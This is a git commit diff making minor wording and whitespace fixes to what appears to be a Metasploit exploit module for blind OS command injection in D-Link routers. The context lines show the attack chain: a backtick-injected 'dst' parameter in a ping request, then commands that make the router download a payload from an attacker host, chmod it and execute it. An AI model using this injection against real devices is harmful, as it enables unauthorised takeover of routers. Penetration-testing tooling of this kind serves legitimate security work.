Minor cleanup on DLink module

unstable
Tod Beardsley 2013-04-15 13:27:47 -05:00
parent 2c41ca6598
commit 513b3b1455
1 changed files with 9 additions and 8 deletions

View File

@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote
and DIR-600, are also affected by this vulnerability. Not every device includes
wget which we need for deploying our payload. On such devices you could use the cmd
generic payload and try to start telnetd or execute other commands. Since it is a
blind os command injection vulnerability, there is no output for the executed
blind OS command injection vulnerability, there is no output for the executed
command when using the cmd generic payload. A ping command against a controlled
system could be used for testing purposes. This module has been tested successfully
on DIR-645 prior to 1.03, where authentication isn't needed in order to exploit the
@ -86,9 +86,10 @@ class Metasploit3 < Msf::Exploit::Remote
'method' => 'POST',
'vars_post' => {
"act" => "ping",
"dst" => "` #{cmd}`" }
"dst" => "` #{cmd}`"
}
})
return res
return res
rescue ::Rex::ConnectionError
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
return nil
@ -167,7 +168,7 @@ class Metasploit3 < Msf::Exploit::Remote
# wait for payload download
if (datastore['DOWNHOST'])
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Dlink device to download the payload")
print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the DLink device to download the payload")
select(nil, nil, nil, datastore['HTTP_DELAY'])
else
wait_linux_payload
@ -178,7 +179,7 @@ class Metasploit3 < Msf::Exploit::Remote
# chmod
#
cmd = "chmod 777 /tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Dlink device to chmod #{downfile}")
print_status("#{rhost}:#{rport} - Asking the DLink device to chmod #{downfile}")
res = request(cmd,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
@ -188,7 +189,7 @@ class Metasploit3 < Msf::Exploit::Remote
# execute
#
cmd = "/tmp/#{filename}"
print_status("#{rhost}:#{rport} - Asking the Dlink device to execute #{downfile}")
print_status("#{rhost}:#{rport} - Asking the DLink device to execute #{downfile}")
res = request(cmd,uri)
if (!res)
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
@ -210,14 +211,14 @@ class Metasploit3 < Msf::Exploit::Remote
# wait for the data to be sent
def wait_linux_payload
print_status("#{rhost}:#{rport} - Waiting for the victim to request the ELF payload...")
print_status("#{rhost}:#{rport} - Waiting for the target to request the ELF payload...")
waited = 0
while (not @elf_sent)
select(nil, nil, nil, 1)
waited += 1
if (waited > datastore['HTTP_DELAY'])
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it cant connect back to us?")
fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Target didn't request request the ELF payload -- Maybe it can't connect back to us?")
end
end
end